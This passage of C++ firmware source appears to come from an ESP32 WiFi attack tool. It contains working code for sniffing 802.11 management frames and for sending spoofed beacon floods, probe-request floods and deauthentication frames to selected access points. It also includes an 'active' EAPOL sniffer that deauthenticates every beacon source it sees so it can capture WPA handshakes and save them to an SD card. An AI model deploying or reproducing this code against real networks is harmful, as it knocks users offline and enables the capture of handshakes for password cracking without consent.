  1334. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1335. {
  1336. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1337. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1338. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1339. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1340. int len = snifferPacket->rx_ctrl.sig_len;
  1341. String display_string = "";
  1342. if (type == WIFI_PKT_MGMT)
  1343. {
  1344. len -= 4;
  1345. int fctl = ntohs(frameControl->fctl);
  1346. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1347. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1348. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1349. #ifdef HAS_SCREEN
  1350. int buf = display_obj.display_buffer->size();
  1351. #else
  1352. int buf = 0;
  1353. #endif
  1354. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1355. {
  1356. delay(random(0, 10));
  1357. Serial.print("RSSI: ");
  1358. Serial.print(snifferPacket->rx_ctrl.rssi);
  1359. Serial.print(" Ch: ");
  1360. Serial.print(snifferPacket->rx_ctrl.channel);
  1361. Serial.print(" BSSID: ");
  1362. char addr[] = "00:00:00:00:00:00";
  1363. getMAC(addr, snifferPacket->payload, 10);
  1364. Serial.print(addr);
  1365. display_string.concat(addr);
  1366. Serial.print(" ESSID: ");
  1367. display_string.concat(" -> ");
  1368. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1369. {
  1370. Serial.print((char)snifferPacket->payload[i + 38]);
  1371. display_string.concat((char)snifferPacket->payload[i + 38]);
  1372. }
  1373. int temp_len = display_string.length();
  1374. #ifdef HAS_SCREEN
  1375. for (int i = 0; i < 40 - temp_len; i++)
  1376. {
  1377. display_string.concat(" ");
  1378. }
  1379. Serial.print(" ");
  1380. if (display_obj.display_buffer->size() == 0)
  1381. {
  1382. display_obj.loading = true;
  1383. display_obj.display_buffer->add(display_string);
  1384. display_obj.loading = false;
  1385. }
  1386. #endif
  1387. Serial.println();
  1388. if (save_packet)
  1389. sd_obj.addPacket(snifferPacket->payload, len);
  1390. }
  1391. }
  1392. }
  1393. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1394. {
  1395. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1396. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1397. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1398. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1399. int len = snifferPacket->rx_ctrl.sig_len;
  1400. String display_string = "";
  1401. if (type == WIFI_PKT_MGMT)
  1402. {
  1403. len -= 4;
  1404. int fctl = ntohs(frameControl->fctl);
  1405. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1406. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1407. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1408. #ifdef HAS_SCREEN
  1409. int buf = display_obj.display_buffer->size();
  1410. #else
  1411. int buf = 0;
  1412. #endif
  1413. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1414. {
  1415. delay(random(0, 10));
  1416. Serial.print("RSSI: ");
  1417. Serial.print(snifferPacket->rx_ctrl.rssi);
  1418. Serial.print(" Ch: ");
  1419. Serial.print(snifferPacket->rx_ctrl.channel);
  1420. Serial.print(" BSSID: ");
  1421. char addr[] = "00:00:00:00:00:00";
  1422. getMAC(addr, snifferPacket->payload, 10);
  1423. Serial.print(addr);
  1424. display_string.concat(text_table4[0]);
  1425. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1426. display_string.concat(" ");
  1427. display_string.concat(addr);
  1428. #ifdef HAS_SCREEN
  1429. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1430. {
  1431. display_string.concat(" ");
  1432. }
  1433. Serial.print(" ");
  1434. if (display_obj.display_buffer->size() == 0)
  1435. {
  1436. display_obj.loading = true;
  1437. display_obj.display_buffer->add(display_string);
  1438. display_obj.loading = false;
  1439. }
  1440. #endif
  1441. Serial.println();
  1442. if (save_packet)
  1443. sd_obj.addPacket(snifferPacket->payload, len);
  1444. }
  1445. }
  1446. }
  1447. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1448. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1449. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1450. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1451. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1452. int len = snifferPacket->rx_ctrl.sig_len;
  1453. String display_string = "";
  1454. if (type == WIFI_PKT_MGMT)
  1455. {
  1456. len -= 4;
  1457. int fctl = ntohs(frameControl->fctl);
  1458. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1459. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1460. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1461. #ifdef HAS_SCREEN
  1462. int buf = display_obj.display_buffer->size();
  1463. #else
  1464. int buf = 0;
  1465. #endif
  1466. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1467. {
  1468. delay(random(0, 10));
  1469. Serial.print("RSSI: ");
  1470. Serial.print(snifferPacket->rx_ctrl.rssi);
  1471. Serial.print(" Ch: ");
  1472. Serial.print(snifferPacket->rx_ctrl.channel);
  1473. Serial.print(" Client: ");
  1474. char addr[] = "00:00:00:00:00:00";
  1475. getMAC(addr, snifferPacket->payload, 10);
  1476. Serial.print(addr);
  1477. display_string.concat(addr);
  1478. Serial.print(" Requesting: ");
  1479. display_string.concat(" -> ");
  1480. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1481. {
  1482. Serial.print((char)snifferPacket->payload[26 + i]);
  1483. display_string.concat((char)snifferPacket->payload[26 + i]);
  1484. }
  1485. // Print spaces because of the rotating lines of the hardware scroll.
  1486. // The same characters print from previous lines so I just overwrite them
  1487. // with spaces.
  1488. #ifdef HAS_SCREEN
  1489. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1490. {
  1491. display_string.concat(" ");
  1492. }
  1493. if (display_obj.display_buffer->size() == 0)
  1494. {
  1495. //while (display_obj.printing)
  1496. // delay(1);
  1497. display_obj.loading = true;
  1498. display_obj.display_buffer->add(display_string);
  1499. display_obj.loading = false;
  1500. }
  1501. #endif
  1502. Serial.println();
  1503. if (save_packet)
  1504. sd_obj.addPacket(snifferPacket->payload, len);
  1505. }
  1506. }
  1507. }
  1508. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1509. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1510. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1511. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1512. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1513. int len = snifferPacket->rx_ctrl.sig_len;
  1514. String display_string = "";
  1515. String essid = "";
  1516. bool found = false;
  1517. if (type == WIFI_PKT_MGMT)
  1518. {
  1519. len -= 4;
  1520. int fctl = ntohs(frameControl->fctl);
  1521. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1522. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1523. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1524. #ifdef HAS_SCREEN
  1525. int buf = display_obj.display_buffer->size();
  1526. #else
  1527. int buf = 0;
  1528. #endif
  1529. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1530. {
  1531. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1532. {
  1533. essid.concat((char)snifferPacket->payload[26 + i]);
  1534. }
  1535. for (int i = 0; i < ssids->size(); i++) {
  1536. if (ssids->get(i).essid == essid) {
  1537. Serial.println("Found a sheep");
  1538. found = true;
  1539. break;
  1540. }
  1541. }
  1542. if (!found)
  1543. return;
  1544. delay(random(0, 10));
  1545. Serial.print("RSSI: ");
  1546. Serial.print(snifferPacket->rx_ctrl.rssi);
  1547. Serial.print(" Ch: ");
  1548. Serial.print(snifferPacket->rx_ctrl.channel);
  1549. Serial.print(" Client: ");
  1550. char addr[] = "00:00:00:00:00:00";
  1551. getMAC(addr, snifferPacket->payload, 10);
  1552. Serial.print(addr);
  1553. display_string.concat(addr);
  1554. Serial.print(" Requesting: ");
  1555. display_string.concat(" -> ");
  1556. // ESSID
  1557. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1558. {
  1559. Serial.print((char)snifferPacket->payload[26 + i]);
  1560. display_string.concat((char)snifferPacket->payload[26 + i]);
  1561. }
  1562. // Print spaces because of the rotating lines of the hardware scroll.
  1563. // The same characters print from previous lines so I just overwrite them
  1564. // with spaces.
  1565. #ifdef HAS_SCREEN
  1566. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1567. {
  1568. display_string.concat(" ");
  1569. }
  1570. if (display_obj.display_buffer->size() == 0)
  1571. {
  1572. display_obj.loading = true;
  1573. display_obj.display_buffer->add(display_string);
  1574. display_obj.loading = false;
  1575. }
  1576. #endif
  1577. Serial.println();
  1578. if (save_packet)
  1579. sd_obj.addPacket(snifferPacket->payload, len);
  1580. }
  1581. }
  1582. }
  1583. /*
  1584. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1585. set_channel = random(1,12);
  1586. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1587. delay(1);
  1588. // Randomize SRC MAC
  1589. packet[10] = packet[16] = custom_ssid.bssid[0];
  1590. packet[11] = packet[17] = custom_ssid.bssid[1];
  1591. packet[12] = packet[18] = custom_ssid.bssid[2];
  1592. packet[13] = packet[19] = custom_ssid.bssid[3];
  1593. packet[14] = packet[20] = custom_ssid.bssid[4];
  1594. packet[15] = packet[21] = custom_ssid.bssid[5];
  1595. char ESSID[custom_ssid.essid.length() + 1] = {};
  1596. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1597. }*/
  1598. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1599. set_channel = random(1,12);
  1600. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1601. delay(1);
  1602. if (custom_ssid.beacon->size() == 0)
  1603. return;
  1604. // Randomize SRC MAC
  1605. // Randomize SRC MAC
  1606. packet[10] = packet[16] = random(256);
  1607. packet[11] = packet[17] = random(256);
  1608. packet[12] = packet[18] = random(256);
  1609. packet[13] = packet[19] = random(256);
  1610. packet[14] = packet[20] = random(256);
  1611. packet[15] = packet[21] = random(256);
  1612. char ESSID[custom_ssid.essid.length() + 1] = {};
  1613. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1614. int realLen = strlen(ESSID);
  1615. int ssidLen = random(realLen, 33);
  1616. int numSpace = ssidLen - realLen;
  1617. //int rand_len = sizeof(rand_reg);
  1618. int fullLen = ssidLen;
  1619. packet[37] = fullLen;
  1620. // Insert my tag
  1621. for(int i = 0; i < realLen; i++)
  1622. packet[38 + i] = ESSID[i];
  1623. for(int i = 0; i < numSpace; i++)
  1624. packet[38 + realLen + i] = 0x20;
  1625. /////////////////////////////
  1626. packet[50 + fullLen] = set_channel;
  1627. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1628. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1629. // Add everything that goes after the SSID
  1630. //for(int i = 0; i < 12; i++)
  1631. // packet[38 + fullLen + i] = postSSID[i];
  1632. packet[34] = custom_ssid.beacon->get(0);
  1633. packet[35] = custom_ssid.beacon->get(1);
  1634. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1635. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1636. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1637. packets_sent = packets_sent + 3;
  1638. }
  1639. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1640. set_channel = random(1,12);
  1641. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1642. delay(1);
  1643. // Randomize SRC MAC
  1644. packet[10] = packet[16] = custom_ssid.bssid[0];
  1645. packet[11] = packet[17] = custom_ssid.bssid[1];
  1646. packet[12] = packet[18] = custom_ssid.bssid[2];
  1647. packet[13] = packet[19] = custom_ssid.bssid[3];
  1648. packet[14] = packet[20] = custom_ssid.bssid[4];
  1649. packet[15] = packet[21] = custom_ssid.bssid[5];
  1650. char ESSID[custom_ssid.essid.length() + 1] = {};
  1651. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1652. int ssidLen = strlen(ESSID);
  1653. //int rand_len = sizeof(rand_reg);
  1654. int fullLen = ssidLen;
  1655. packet[37] = fullLen;
  1656. // Insert my tag
  1657. for(int i = 0; i < ssidLen; i++)
  1658. packet[38 + i] = ESSID[i];
  1659. /////////////////////////////
  1660. packet[50 + fullLen] = set_channel;
  1661. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1662. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1663. // Add everything that goes after the SSID
  1664. for(int i = 0; i < 12; i++)
  1665. packet[38 + fullLen + i] = postSSID[i];
  1666. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1667. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1668. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1669. packets_sent = packets_sent + 3;
  1670. }
  1671. // Function to send beacons with random ESSID length
  1672. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1673. set_channel = random(1,12);
  1674. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1675. delay(1);
  1676. // Randomize SRC MAC
  1677. packet[10] = packet[16] = random(256);
  1678. packet[11] = packet[17] = random(256);
  1679. packet[12] = packet[18] = random(256);
  1680. packet[13] = packet[19] = random(256);
  1681. packet[14] = packet[20] = random(256);
  1682. packet[15] = packet[21] = random(256);
  1683. int ssidLen = strlen(ESSID);
  1684. //int rand_len = sizeof(rand_reg);
  1685. int fullLen = ssidLen;
  1686. packet[37] = fullLen;
  1687. // Insert my tag
  1688. for(int i = 0; i < ssidLen; i++)
  1689. packet[38 + i] = ESSID[i];
  1690. /////////////////////////////
  1691. packet[50 + fullLen] = set_channel;
  1692. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1693. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1694. // Add everything that goes after the SSID
  1695. for(int i = 0; i < 12; i++)
  1696. packet[38 + fullLen + i] = postSSID[i];
  1697. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1698. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1699. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1700. packets_sent = packets_sent + 3;
  1701. }
  1702. // Function for sending crafted beacon frames
  1703. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1704. set_channel = random(1,12);
  1705. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1706. delay(1);
  1707. // Randomize SRC MAC
  1708. packet[10] = packet[16] = random(256);
  1709. packet[11] = packet[17] = random(256);
  1710. packet[12] = packet[18] = random(256);
  1711. packet[13] = packet[19] = random(256);
  1712. packet[14] = packet[20] = random(256);
  1713. packet[15] = packet[21] = random(256);
  1714. packet[37] = 6;
  1715. // Randomize SSID (Fixed size 6. Lazy right?)
  1716. packet[38] = alfa[random(65)];
  1717. packet[39] = alfa[random(65)];
  1718. packet[40] = alfa[random(65)];
  1719. packet[41] = alfa[random(65)];
  1720. packet[42] = alfa[random(65)];
  1721. packet[43] = alfa[random(65)];
  1722. packet[56] = set_channel;
  1723. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1724. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1725. // Add everything that goes after the SSID
  1726. for(int i = 0; i < 12; i++)
  1727. packet[38 + 6 + i] = postSSID[i];
  1728. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1729. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1730. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1731. packets_sent = packets_sent + 3;
  1732. }
  1733. // Function to send probe flood to all "active" access points
  1734. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1735. // Itterate through all access points in list
  1736. for (int i = 0; i < access_points->size(); i++) {
  1737. // Check if active
  1738. if (access_points->get(i).selected) {
  1739. this->set_channel = access_points->get(i).channel;
  1740. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1741. delay(1);
  1742. // Build packet
  1743. // Randomize SRC MAC
  1744. prob_req_packet[10] = random(256);
  1745. prob_req_packet[11] = random(256);
  1746. prob_req_packet[12] = random(256);
  1747. prob_req_packet[13] = random(256);
  1748. prob_req_packet[14] = random(256);
  1749. prob_req_packet[15] = random(256);
  1750. // Set SSID length
  1751. int ssidLen = access_points->get(i).essid.length();
  1752. //int rand_len = sizeof(rand_reg);
  1753. int fullLen = ssidLen;
  1754. prob_req_packet[25] = fullLen;
  1755. // Insert ESSID
  1756. char buf[access_points->get(i).essid.length() + 1] = {};
  1757. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1758. for(int i = 0; i < ssidLen; i++)
  1759. prob_req_packet[26 + i] = buf[i];
  1760. /*
  1761. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1762. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1763. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1764. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1765. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1766. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1767. 0x00, 0x00
  1768. */
  1769. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1770. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1771. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1772. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1773. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1774. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1775. 0x00, 0x00, 0x00, 0x00};
  1776. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1777. for (int i = 0; i < 26 + fullLen; i++)
  1778. good_probe_req_packet[i] = prob_req_packet[i];
  1779. for(int i = 0; i < 40; i++)
  1780. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1781. // Send packet
  1782. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1783. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1784. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1785. packets_sent = packets_sent + 3;
  1786. }
  1787. }
  1788. }
  1789. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel) {
  1790. // Itterate through all access points in list
  1791. // Check if active
  1792. WiFiScan::set_channel = channel;
  1793. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  1794. delay(1);
  1795. // Build packet
  1796. deauth_frame_default[10] = bssid[0];
  1797. deauth_frame_default[11] = bssid[1];
  1798. deauth_frame_default[12] = bssid[2];
  1799. deauth_frame_default[13] = bssid[3];
  1800. deauth_frame_default[14] = bssid[4];
  1801. deauth_frame_default[15] = bssid[5];
  1802. deauth_frame_default[16] = bssid[0];
  1803. deauth_frame_default[17] = bssid[1];
  1804. deauth_frame_default[18] = bssid[2];
  1805. deauth_frame_default[19] = bssid[3];
  1806. deauth_frame_default[20] = bssid[4];
  1807. deauth_frame_default[21] = bssid[5];
  1808. // Send packet
  1809. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1810. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1811. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1812. packets_sent = packets_sent + 3;
  1813. }
  1814. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  1815. // Itterate through all access points in list
  1816. for (int i = 0; i < access_points->size(); i++) {
  1817. // Check if active
  1818. if (access_points->get(i).selected) {
  1819. this->set_channel = access_points->get(i).channel;
  1820. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1821. delay(1);
  1822. // Build packet
  1823. deauth_frame_default[10] = access_points->get(i).bssid[0];
  1824. deauth_frame_default[11] = access_points->get(i).bssid[1];
  1825. deauth_frame_default[12] = access_points->get(i).bssid[2];
  1826. deauth_frame_default[13] = access_points->get(i).bssid[3];
  1827. deauth_frame_default[14] = access_points->get(i).bssid[4];
  1828. deauth_frame_default[15] = access_points->get(i).bssid[5];
  1829. deauth_frame_default[16] = access_points->get(i).bssid[0];
  1830. deauth_frame_default[17] = access_points->get(i).bssid[1];
  1831. deauth_frame_default[18] = access_points->get(i).bssid[2];
  1832. deauth_frame_default[19] = access_points->get(i).bssid[3];
  1833. deauth_frame_default[20] = access_points->get(i).bssid[4];
  1834. deauth_frame_default[21] = access_points->get(i).bssid[5];
  1835. // Send packet
  1836. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1837. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1838. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1839. packets_sent = packets_sent + 3;
  1840. }
  1841. }
  1842. }
  1843. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1844. {
  1845. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1846. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1847. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1848. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1849. int len = snifferPacket->rx_ctrl.sig_len;
  1850. if (type == WIFI_PKT_MGMT)
  1851. {
  1852. len -= 4;
  1853. int fctl = ntohs(frameControl->fctl);
  1854. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1855. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1856. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1857. if (snifferPacket->payload[0] == 0x80)
  1858. {
  1859. num_beacon++;
  1860. }
  1861. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  1862. {
  1863. num_deauth++;
  1864. }
  1865. else if (snifferPacket->payload[0] == 0x40)
  1866. {
  1867. num_probe++;
  1868. }
  1869. if (save_packet)
  1870. sd_obj.addPacket(snifferPacket->payload, len);
  1871. }
  1872. }
  1873. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1874. {
  1875. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1876. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  1877. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1878. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1879. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1880. int len = snifferPacket->rx_ctrl.sig_len;
  1881. if (type == WIFI_PKT_MGMT)
  1882. {
  1883. len -= 4;
  1884. int fctl = ntohs(frameControl->fctl);
  1885. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1886. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1887. }
  1888. // Found beacon frame. Decide whether to deauth
  1889. if (send_deauth) {
  1890. if (snifferPacket->payload[0] == 0x80) {
  1891. // Build packet
  1892. uint8_t new_packet[26] = {
  1893. 0xc0, 0x00, 0x3a, 0x01,
  1894. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  1895. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1896. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1897. 0xf0, 0xff, 0x02, 0x00
  1898. };
  1899. new_packet[10] = snifferPacket->payload[10];
  1900. new_packet[11] = snifferPacket->payload[11];
  1901. new_packet[12] = snifferPacket->payload[12];
  1902. new_packet[13] = snifferPacket->payload[13];
  1903. new_packet[14] = snifferPacket->payload[14];
  1904. new_packet[15] = snifferPacket->payload[15];
  1905. new_packet[16] = snifferPacket->payload[10];
  1906. new_packet[17] = snifferPacket->payload[11];
  1907. new_packet[18] = snifferPacket->payload[12];
  1908. new_packet[19] = snifferPacket->payload[13];
  1909. new_packet[20] = snifferPacket->payload[14];
  1910. new_packet[21] = snifferPacket->payload[15];
  1911. // Send packet
  1912. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1913. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1914. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1915. }
  1916. }
  1917. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  1918. num_eapol++;
  1919. Serial.println("Received EAPOL:");
  1920. for (int i = 0; i < len; i++) {
  1921. char hexCar[4];
  1922. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  1923. Serial.print(hexCar);
  1924. //Serial.print(snifferPacket->payload[i], HEX);
  1925. if ((i + 1) % 16 == 0)
  1926. Serial.print("\n");
  1927. else
  1928. Serial.print(" ");
  1929. }
  1930. Serial.print("\n");
  1931. }
  1932. if (save_packet)
  1933. sd_obj.addPacket(snifferPacket->payload, len);
  1934. }
  1935. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1936. {
  1937. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1938. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  1939. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1940. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1941. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1942. int len = snifferPacket->rx_ctrl.sig_len;
  1943. if (type == WIFI_PKT_MGMT)
  1944. {
  1945. len -= 4;
  1946. int fctl = ntohs(frameControl->fctl);
  1947. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1948. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1949. }
  1950. // Found beacon frame. Decide whether to deauth
  1951. if (snifferPacket->payload[0] == 0x80) {
  1952. // Build packet
  1953. uint8_t new_packet[26] = {
  1954. 0xc0, 0x00, 0x3a, 0x01,
  1955. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  1956. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1957. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1958. 0xf0, 0xff, 0x02, 0x00
  1959. };
  1960. new_packet[10] = snifferPacket->payload[10];
  1961. new_packet[11] = snifferPacket->payload[11];
  1962. new_packet[12] = snifferPacket->payload[12];
  1963. new_packet[13] = snifferPacket->payload[13];
  1964. new_packet[14] = snifferPacket->payload[14];
  1965. new_packet[15] = snifferPacket->payload[15];
  1966. new_packet[16] = snifferPacket->payload[10];
  1967. new_packet[17] = snifferPacket->payload[11];
  1968. new_packet[18] = snifferPacket->payload[12];
  1969. new_packet[19] = snifferPacket->payload[13];
  1970. new_packet[20] = snifferPacket->payload[14];
  1971. new_packet[21] = snifferPacket->payload[15];
  1972. // Send packet
  1973. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
